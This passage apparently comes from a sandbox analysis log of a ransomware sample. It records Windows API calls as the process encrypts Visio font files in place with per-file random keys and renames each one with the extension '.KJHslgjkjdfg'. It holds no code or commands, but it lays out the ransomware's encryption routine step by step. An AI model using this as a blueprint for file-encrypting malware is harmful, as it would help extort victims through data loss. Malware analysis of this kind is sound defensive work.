CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.066] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.067] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.067] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.067] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.067] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.067] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.067] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.067] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.067] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b01, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2b01, lpOverlapped=0x0) returned 1 [0180.068] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2b10) returned 1 [0180.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.069] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2b10, lpOverlapped=0x0) returned 1 [0180.069] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.069] SetEndOfFile (hFile=0x12c) returned 1 [0180.072] GetProcessHeap () returned 0x990000 [0180.072] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.072] GetProcessHeap () returned 0x990000 [0180.072] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.kjhslgjkjdfg")) returned 1 [0180.080] CloseHandle (hObject=0x12c) returned 1 [0180.080] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0180.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.081] GetProcessHeap () returned 0x990000 [0180.081] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.081] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.081] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.081] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0180.082] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.083] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.083] GetProcessHeap () returned 0x990000 [0180.083] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.083] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.083] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.083] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.083] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.084] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.084] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.084] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.084] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x146, lpOverlapped=0x0) returned 1 [0180.084] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x150, dwBufLen=0x150 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x150) returned 1 [0180.084] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.084] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x150, lpOverlapped=0x0) returned 1 [0180.084] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.084] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.084] SetEndOfFile (hFile=0x12c) returned 1 [0180.087] GetProcessHeap () returned 0x990000 [0180.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.087] GetProcessHeap () returned 0x990000 [0180.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.kjhslgjkjdfg")) returned 1 [0180.100] CloseHandle (hObject=0x12c) returned 1 [0180.100] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0180.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.104] GetProcessHeap () returned 0x990000 [0180.105] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.105] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.105] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.105] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0180.110] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.110] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.110] GetProcessHeap () returned 0x990000 [0180.110] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.110] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0180.110] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.110] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0180.110] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.110] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.110] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.111] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.111] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.111] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.111] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.111] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.111] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x369d3, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x369d3, lpOverlapped=0x0) returned 1 [0180.115] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x369e0, dwBufLen=0x369e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x369e0) returned 1 [0180.118] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.118] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x369e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x369e0, lpOverlapped=0x0) returned 1 [0180.119] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.119] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x36ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.119] SetEndOfFile (hFile=0x12c) returned 1 [0180.124] GetProcessHeap () returned 0x990000 [0180.124] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.125] GetProcessHeap () returned 0x990000 [0180.125] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.kjhslgjkjdfg")) returned 1 [0180.132] CloseHandle (hObject=0x12c) returned 1 [0180.132] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0180.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.137] GetProcessHeap () returned 0x990000 [0180.138] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.138] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.138] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.138] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0180.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.144] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.144] GetProcessHeap () returned 0x990000 [0180.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.144] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.144] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.144] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.145] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.145] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.145] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.145] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.145] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.145] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.145] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.145] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.145] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2fde5, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2fde5, lpOverlapped=0x0) returned 1 [0180.149] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2fdf0, dwBufLen=0x2fdf0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2fdf0) returned 1 [0180.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.151] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2fdf0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2fdf0, lpOverlapped=0x0) returned 1 [0180.152] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.153] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2feb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.153] SetEndOfFile (hFile=0x12c) returned 1 [0180.157] GetProcessHeap () returned 0x990000 [0180.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.157] GetProcessHeap () returned 0x990000 [0180.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.kjhslgjkjdfg")) returned 1 [0180.158] CloseHandle (hObject=0x12c) returned 1 [0180.158] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0180.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.159] GetProcessHeap () returned 0x990000 [0180.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.159] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.159] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.159] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0180.161] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.161] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.161] GetProcessHeap () returned 0x990000 [0180.162] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.162] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0180.162] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.162] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0180.162] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.162] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.162] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.162] SetFilePointerEx (in: hFile=0x12c, 